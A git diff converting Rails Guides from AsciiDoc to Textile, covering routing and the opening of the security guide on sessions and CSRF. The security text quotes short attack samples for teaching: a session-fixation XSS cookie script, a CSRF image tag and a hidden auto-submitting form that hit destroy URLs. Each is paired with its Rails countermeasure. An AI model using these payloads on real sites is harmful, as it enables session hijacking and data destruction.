 As with conditions in RESTful routes, you can specify +:get+, +:post+, +:put+, +:delete+, or +:any+ for the acceptable method.
 
-=== Route Globbing
+h4. Route Globbing
 
-Route globbing is a way to specify that a particular parameter (which must be the last parameter in the route) should be matched to all the remaining parts of a route. For example
+Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.connect 'photo/*other', :controller => 'photos', :action => 'unknown',
--------------------------------------------------------
+</ruby>
 
 This route would match +photo/12+ or +/photo/long/path/to/12+ equally well, creating an array of path segments as the value of +params[:other]+.
 
-=== Route Options
+h4. Route Options
 
 You can use +:with_options+ to simplify defining groups of similar routes:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.with_options :controller => 'photo' do |photo|
   photo.list '', :action => 'index'
   photo.delete ':id/delete', :action => 'delete'
   photo.edit ':id/edit', :action => 'edit'
 end
--------------------------------------------------------
+</ruby>
 
 The importance of +map.with_options+ has declined with the introduction of RESTful routes.
 
-== Formats and respond_to
+h3. Formats and +respond_to+
 
 There's one more way in which routing can do different things depending on differences in the incoming HTTP request: by issuing a response that corresponds to what the request specifies that it will accept. In Rails routing, you can control this with the special +:format+ parameter in the route.
 
 For instance, consider the second of the default routes in the boilerplate +routes.rb+ file:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.connect ':controller/:action/:id.:format'
--------------------------------------------------------
+</ruby>
 
 This route matches requests such as +/photo/edit/1.xml+ or +/photo/show/2.rss+. Within the appropriate action code, you can issue different responses depending on the requested format:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 respond_to do |format|
   format.html # return the default template for HTML
   format.xml { render :xml => @photo.to_xml }
 end
--------------------------------------------------------
+</ruby>
 
-=== Specifying the Format with an HTTP Header
+h4. Specifying the Format with an HTTP Header
 
 If there is no +:format+ parameter in the route, Rails will automatically look at the HTTP Accept header to determine the desired format.
 
-=== Recognized MIME types
+h4. Recognized MIME types
 
 By default, Rails recognizes +html+, +text+, +json+, +csv+, +xml+, +rss+, +atom+, and +yaml+ as acceptable response types. If you need types beyond this, you can register them in your environment:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 Mime::Type.register "image/jpg", :jpg
--------------------------------------------------------
+</ruby>
 
-== The Default Routes
+h3. The Default Routes
 
 When you create a new Rails application, +routes.rb+ is initialized with two default routes:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.connect ':controller/:action/:id'
 map.connect ':controller/:action/:id.:format'
--------------------------------------------------------
+</ruby>
 
 These routes provide reasonable defaults for many URLs, if you're not using RESTful routing.
 
 NOTE: The default routes will make every action of every controller in your application accessible to GET requests. If you've designed your application to make consistent use of RESTful and named routes, you should comment out the default routes to prevent access to your controllers through the wrong verbs. If you've had the default routes enabled during development, though, you need to be sure that you haven't unwittingly depended on them somewhere in your application - otherwise you may find mysterious failures when you disable them.
 
-== The Empty Route
+h3. The Empty Route
 
 Don't confuse the default routes with the empty route. The empty route has one specific purpose: to route requests that come in to the root of the web site. For example, if your site is example.com, then requests to +http://example.com+ or +http://example.com/+ will be handled by the empty route.
 
-=== Using map.root
+h4. Using +map.root+
 
 The preferred way to set up the empty route is with the +map.root+ command:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.root :controller => "pages", :action => "main"
--------------------------------------------------------
+</ruby>
 
 The use of the +root+ method tells Rails that this route applies to requests for the root of the site.
 
 For better readability, you can specify an already-created route in your call to +map.root+:
 
-[source, ruby]
--------------------------------------------------------
-map.index :controller => "pages", :action => "main"
+<ruby>
+map.index 'index', :controller => "pages", :action => "main"
 map.root :index
--------------------------------------------------------
+</ruby>
 
 Because of the top-down processing of the file, the named route must be specified _before_ the call to +map.root+.
 
-=== Connecting the Empty String
+h4. Connecting the Empty String
 
 You can also specify an empty route by explicitly connecting the empty string:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.connect '', :controller => "pages", :action => "main"
--------------------------------------------------------
+</ruby>
 
 TIP: If the empty route does not seem to be working in your application, make sure that you have deleted the file +public/index.html+ from your Rails tree.
 
-== Inspecting and Testing Routes
+h3. Inspecting and Testing Routes
 
 Routing in your application should not be a "black box" that you never open. Rails offers built-in tools for both inspecting and testing routes.
 
-=== Seeing Existing Routes with rake
+h4. Seeing Existing Routes with +rake+
 
 If you want a complete list of all of the available routes in your application, run the +rake routes+ command. This will dump all of your routes to the console, in the same order that they appear in +routes.rb+. For each route, you'll see:
 
@@ -918,69 +840,64 @@ If you want a complete list of all of the available routes in your application,
 
 For example, here's a small section of the +rake routes+ output for a RESTful route:
 
--------------------------------------------------------------------------------------------------------
+<pre>
           users GET  /users          {:controller=>"users", :action=>"index"}
 formatted_users GET  /users.:format  {:controller=>"users", :action=>"index"}
                 POST /users          {:controller=>"users", :action=>"create"}
                 POST /users.:format  {:controller=>"users", :action=>"create"}
--------------------------------------------------------------------------------------------------------
+</pre>
 
 TIP: You'll find that the output from +rake routes+ is much more readable if you widen your terminal window until the output lines don't wrap.
 
-=== Testing Routes
+h4. Testing Routes
 
-Routes should be included in your testing strategy (just like the rest of your application). Rails offers three link:http://api.rubyonrails.com/classes/ActionController/Assertions/RoutingAssertions.html[built-in assertions] designed to make testing routes simpler:
+Routes should be included in your testing strategy (just like the rest of your application). Rails offers three "built-in assertions":http://api.rubyonrails.org/classes/ActionController/Assertions/RoutingAssertions.html designed to make testing routes simpler:
 
 * +assert_generates+
 * +assert_recognizes+
 * +assert_routing+
 
-==== The +assert_generates+ Assertion
+h5. The +assert_generates+ Assertion
 
 Use +assert_generates+ to assert that a particular set of options generate a particular path. You can use this with default routes or custom routes
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 assert_generates "/photos/1", { :controller => "photos", :action => "show", :id => "1" }
 assert_generates "/about", :controller => "pages", :action => "about"
--------------------------------------------------------
+</ruby>
 
-==== The +assert_recognizes+ Assertion
+h5. The +assert_recognizes+ Assertion
 
 The +assert_recognizes+ assertion is the inverse of +assert_generates+. It asserts that Rails recognizes the given path and routes it to a particular spot in your application.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 assert_recognizes { :controller => "photos", :action => "show", :id => "1" }, "/photos/1"
--------------------------------------------------------
+</ruby>
 
 You can supply a +:method+ argument to specify the HTTP verb:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 assert_recognizes { :controller => "photos", :action => "create" }, { :path => "photos", :method => :post }
--------------------------------------------------------
+</ruby>
 
 You can also use the RESTful helpers to test recognition of a RESTful route:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 assert_recognizes new_photo_url, { :path => "photos", :method => :post }
--------------------------------------------------------
+</ruby>
 
-==== The +assert_routing+ Assertion
+h5. The +assert_routing+ Assertion
 
 The +assert_routing+ assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of +assert_generates+ and +assert_recognizes+.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 assert_routing { :path => "photos", :method => :post }, { :controller => "photos", :action => "create" }
--------------------------------------------------------
+</ruby>
 
-== Changelog ==
+h3. Changelog
 
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/3[Lighthouse ticket]
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/3
 
-* October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes , by link:../authors.html#mgunderloy[Mike Gunderloy]
-* September 23, 2008: Added section on namespaced controllers and routing, by link:../authors.html#mgunderloy[Mike Gunderloy]
-* September 10, 2008: initial version by link:../authors.html#mgunderloy[Mike Gunderloy]
+* October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes, by "Mike Gunderloy":credits.html#mgunderloy
+* September 23, 2008: Added section on namespaced controllers and routing, by "Mike Gunderloy":credits.html#mgunderloy
+* September 10, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy
diff --git a/vendor/rails/railties/doc/guides/source/security.txt b/vendor/rails/railties/guides/source/security.textile
similarity index 52%
rename from vendor/rails/railties/doc/guides/source/security.txt
rename to vendor/rails/railties/guides/source/security.textile
index 9b3f4793..1b64cc1b 100644
--- a/vendor/rails/railties/doc/guides/source/security.txt
+++ b/vendor/rails/railties/guides/source/security.textile
@@ -1,18 +1,19 @@
-Ruby On Rails Security Guide
-============================
- 
+h2. Ruby On Rails Security Guide
+
 This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please
 mail me, Heiko Webers, at 42 {_et_} rorsecurity.info. After reading it, you should be familiar with:
 
-- All countermeasures [,#fffcdb]#that are highlighted#
-- The concept of sessions in Rails, what to put in there and popular attack methods
-- How just visiting a site can be a security problem (with CSRF)
-- What you have to pay attention to when working with files or providing an administration interface
-- The Rails-specific mass assignment problem
-- How to manage users: Logging in and out and attack methods on all layers
-- And the most popular injection attack methods
+* All countermeasures _(highlight)that are highlighted_
+* The concept of sessions in Rails, what to put in there and popular attack methods
+* How just visiting a site can be a security problem (with CSRF)
+* What you have to pay attention to when working with files or providing an administration interface
+* The Rails-specific mass assignment problem
+* How to manage users: Logging in and out and attack methods on all layers
+* And the most popular injection attack methods
 
-== Introduction
+endprologue.
+
+h3. Introduction
 
 Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see that all of the Rails applications I audited had a good level of security.
 
@@ -22,34 +23,33 @@ The Gartner Group however estimates that 75% of attacks are at the web applicati
 
 The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.
 
-In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the Additional Resources chapter). I do it manually because that‘s how you find the nasty logical security problems.
+In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that‘s how you find the nasty logical security problems.
 
-== Sessions
+h3. Sessions
 
 A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.
 
-=== What are sessions?
+h4. What are Sessions?
 
--- _HTTP is a stateless protocol Sessions make it stateful._
+-- _HTTP is a stateless protocol. Sessions make it stateful._
 
 Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
 Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.
 
 A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 session[:user_id] = @current_user.id
 User.find(session[:user_id])
-----------------------------------------------------------------------------
+</ruby>
 
-=== Session id
+h4. Session id
 
 -- _The session id is a 32 byte long MD5 hash value._
 
 A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.
 
-=== Session hijacking
+h4. Session Hijacking
 
 -- _Stealing a user's session id lets an attacker use the web application in the victim's name._
 
@@ -57,27 +57,27 @@ Many web applications have an authentication system: a user provides a user name
 
 Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
 
-- Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to [,#fffcdb]#provide a secure connection over SSL#.
+* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _(highlight)provide a secure connection over SSL_.
 
-- Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a [,#fffcdb]#log-out button# in the web application, and [,#fffcdb]#make it prominent#.
+* Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _(highlight)log-out button_ in the web application, and _(highlight)make it prominent_.
 
-- Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read more about XSS later.
+* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later.
 
-- Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
+* Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
 
-The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf[Symantec Global Internet Security Threat Report].
+The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the "Symantec Global Internet Security Threat Report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf.
 
-=== Session guidelines
+h4. Session Guidelines
 
 -- _Here are some general guidelines on sessions._
 
-- [,#fffcdb]#Do not store large objects in a session#. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
+* _(highlight)Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
 This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
 
-- [,#fffcdb]#Critical data should not be stored in session#. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
+* _(highlight)Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
 
 
-=== Session storage
+h4. Session Storage
 
 -- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore._
 
@@ -85,81 +85,73 @@ There are a number of session storages, i.e. where Rails saves the session hash
 
 Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:
 
-- Cookies imply a strict size limit of 4K. This is fine as you should not store large amounts of data in a session anyway, as described before. [,#fffcdb]#Storing the current user's database id in a session is usually ok#.
+* Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _(highlight)Storing the current user's database id in a session is usually ok_.
 
-- The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, [,#fffcdb]#you don't want to store any secrets here#. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
+* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _(highlight)you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
 
-That means the security of this storage depends on this secret (and of the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So [,#fffcdb]#don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters#. Put the secret in your environment.rb:
+That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _(highlight)don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. Put the secret in your environment.rb:
 
-....................................
+<ruby>
 config.action_controller.session = {
-  :session_key => ‘_app_session’,
-  :secret      => ‘0x0dkfj3927dkc7djdh36rkckdfzsg...’
+  :key    => '_app_session',
+  :secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...'
 }
-....................................
+</ruby>
 
 There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.
 
-=== Replay attacks for CookieStore sessions
+h4. Replay Attacks for CookieStore Sessions
 
 -- _Another sort of attack you have to be aware of when using CookieStore is the replay attack._
 
 It works like this:
 
-- A user receives credits, the amount is stored in a session (which is bad idea, anyway, but we'll do this for demonstration purposes).
-- The user buys something.
-- His new, lower credit will be stored in the session.
-- The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
-- The user has his credit back.
+* A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).
+* The user buys something.
+* His new, lower credit will be stored in the session.
+* The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
+* The user has his credit back.
 
 Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
 
-The best [,#fffcdb]#solution against it is not to store this kind of data in a session, but in the database#. In this case store the credit in the database and the logged_in_user_id in the session.
+The best _(highlight)solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session.
 
-=== Session fixation
+h4. Session Fixation
 
 -- _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._
 
-image::images/session_fixation.png[Session fixation]
+!images/session_fixation.png(Session fixation)!
 
 This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
 
-. The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
+# The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
+# He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
+# Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: +&lt;script&gt;
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
&lt;/script&gt;+. Read more about XSS and injection later on.
+# The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
+# As the new trap session is unused, the web application will require the user to authenticate.
+# From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
 
-. He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
-
-. Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: +<script>
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
</script>+
-Read more about XSS and injection later on.
-
-. The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
-
-. As the new trap session is unused, the web application will require the user to authenticate.
-
-. From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
-
-=== Session fixation – Countermeasures
+h4. Session Fixation – Countermeasures
 
 -- _One line of code will protect you from session fixation._
 
-The most effective countermeasure is to [,#fffcdb]#issue a new session identifier# and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
+The most effective countermeasure is to _(highlight)issue a new session identifier_ and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 reset_session
-----------------------------------------------------------------------------
+</ruby>
 
-If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, [,#fffcdb]#you have to transfer them to the new session#.
+If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, _(highlight)you have to transfer them to the new session_.
 
-Another countermeasure is to [,#fffcdb]#save user-specific properties in the session#, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. [,#fffcdb]#These might change over the course of a session#, so these users  will not be able to use your application, or only in a limited way.
+Another countermeasure is to _(highlight)save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _(highlight)These might change over the course of a session_, so these users  will not be able to use your application, or only in a limited way.
 
-=== Session expiry
+h4. Session Expiry
 
 -- _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._
 
-One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to [,#fffcdb]#expire sessions in a database table#. Call Session.sweep("20m") to expire sessions that were used longer than 20 minutes ago.
+One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _(highlight)expire sessions in a database table_. Call +Session.sweep("20m")+ to expire sessions that were used longer than 20 minutes ago.
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 class Session < ActiveRecord::Base
  def self.sweep(time_ago = nil)
 
    time = case time_ago
@@ -171,34 +163,35 @@ class Session < ActiveRecord::Base
 
    self.delete_all "updated_at < '#{time.to_s(:db)}'"
 
  end
 
end
-----------------------------------------------------------------------------
+</ruby>
 
 The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
 
-[source, ruby]
-----------------------------------------------------------------------------
-self.delete_all "updated_at < '#{time.to_s(:db)}' OR created_at < '#{2.days.ago.to_s(:db)}'"
-----------------------------------------------------------------------------
+<ruby>
+self.delete_all "updated_at < '#{time.to_s(:db)}' OR
+  created_at < '#{2.days.ago.to_s(:db)}'"
+</ruby>
+
+h3. Cross-Site Request Forgery (CSRF)
 
-== Cross-Site Reference Forgery (CSRF)
 -- _This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands._
 
-image::images/csrf.png[CSRF]
+!images/csrf.png!
 
-In the session chapter you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:
+In the <a href="#sessions">session chapter</a> you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:
 
-- Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
-- +<img src="http://www.webapp.com/project/1/destroy">+
-- Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
-- By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
-- The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
-- Bob doesn't notice the attack -- but a few days later he finds out that project number one is gone.
+* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
+* +&lt;img src="http://www.webapp.com/project/1/destroy"&gt;+
+* Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
+* By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
+* The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
+* Bob doesn't notice the attack -- but a few days later he finds out that project number one is gone.
 
 It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.
 
-CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – [,#fffcdb]#CSRF is an important security issue#.
+CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _(highlight)CSRF is an important security issue_.
 
-=== CSRF Countermeasures
+h4. CSRF Countermeasures
 
 -- _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._
 
@@ -206,28 +199,27 @@ The HTTP protocol basically provides two main types of requests - GET and POST (
 
 *Use GET if:*
 
-- The interaction is more [,#fffcdb]#like a question# (i.e., it is a safe operation such as a query, read operation, or lookup).
+* The interaction is more _(highlight)like a question_ (i.e., it is a safe operation such as a query, read operation, or lookup).
 
 *Use POST if:*
 
-- The interaction is more [,#fffcdb]#like an order#, or
-- The interaction [,#fffcdb]#changes the state# of the resource in a way that the user would perceive (e.g., a subscription to a service), or
-- The user is [,#fffcdb]#held accountable for the results# of the interaction.
+* The interaction is more _(highlight)like an order_, or
+* The interaction _(highlight)changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or
+* The user is _(highlight)held accountable for the results_ of the interaction.
 
 If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden +_method+ field to handle this barrier.
 
-[,#fffcdb]#The verify method in a controller can make sure that specific actions may not be used over GET#. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action.
+_(highlight)The verify method in a controller can make sure that specific actions may not be used over GET_. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action.
 
-.................................................................................
+<ruby>
 verify :method => :post, :only => [:transfer], :redirect_to => {:action => :list}
-.................................................................................
+</ruby>
 
 With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application.
 
-But this was only the first step, because [,#fffcdb]#POST requests can be send automatically, too#. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
+But this was only the first step, because _(highlight)POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
 
-[source, html]
-----------------------------------------------------------------------------
+<html>
 <a href="http://www.harmless.com/" onclick="
   var f = document.createElement('form');
   f.style.display = 'none';
@@ -236,61 +228,65 @@ But this was only the first step, because [,#fffcdb]#POST requests can be send a
   f.action = 'http://www.example.com/account/destroy';
   f.submit();
   return false;">To the harmless survey</a>
-----------------------------------------------------------------------------
+</html>
 
 Or the attacker places the code into the onmouseover event handler of an image:
 
-+<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />+
+<html>
+<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
+</html>
 
-There are many other possibilities, including Ajax to attack the victim in the background.
The  [,#fffcdb]#solution to this is including a security token in non-GET requests# which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
+There are many other possibilities, including Ajax to attack the victim in the background.
The  _(highlight)solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
 
-+protect_from_forgery :secret => "123456789012345678901234567890..."+
+<ruby>
+protect_from_forgery :secret => "123456789012345678901234567890..."
+</ruby>
 
 This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn't match what was expected.
 
-Note that [,#fffcdb]#cross-site scripting (XSS) vulnerabilities bypass all CSRF protections#. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read more about XSS later.
+Note that _(highlight)cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
 
-== Redirection and Files
+h3. Redirection and Files
 
 Another class of security vulnerabilities surrounds the use of redirection and files in web applications.
 
-=== Redirection
+h4. Redirection
 
 -- _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._
 
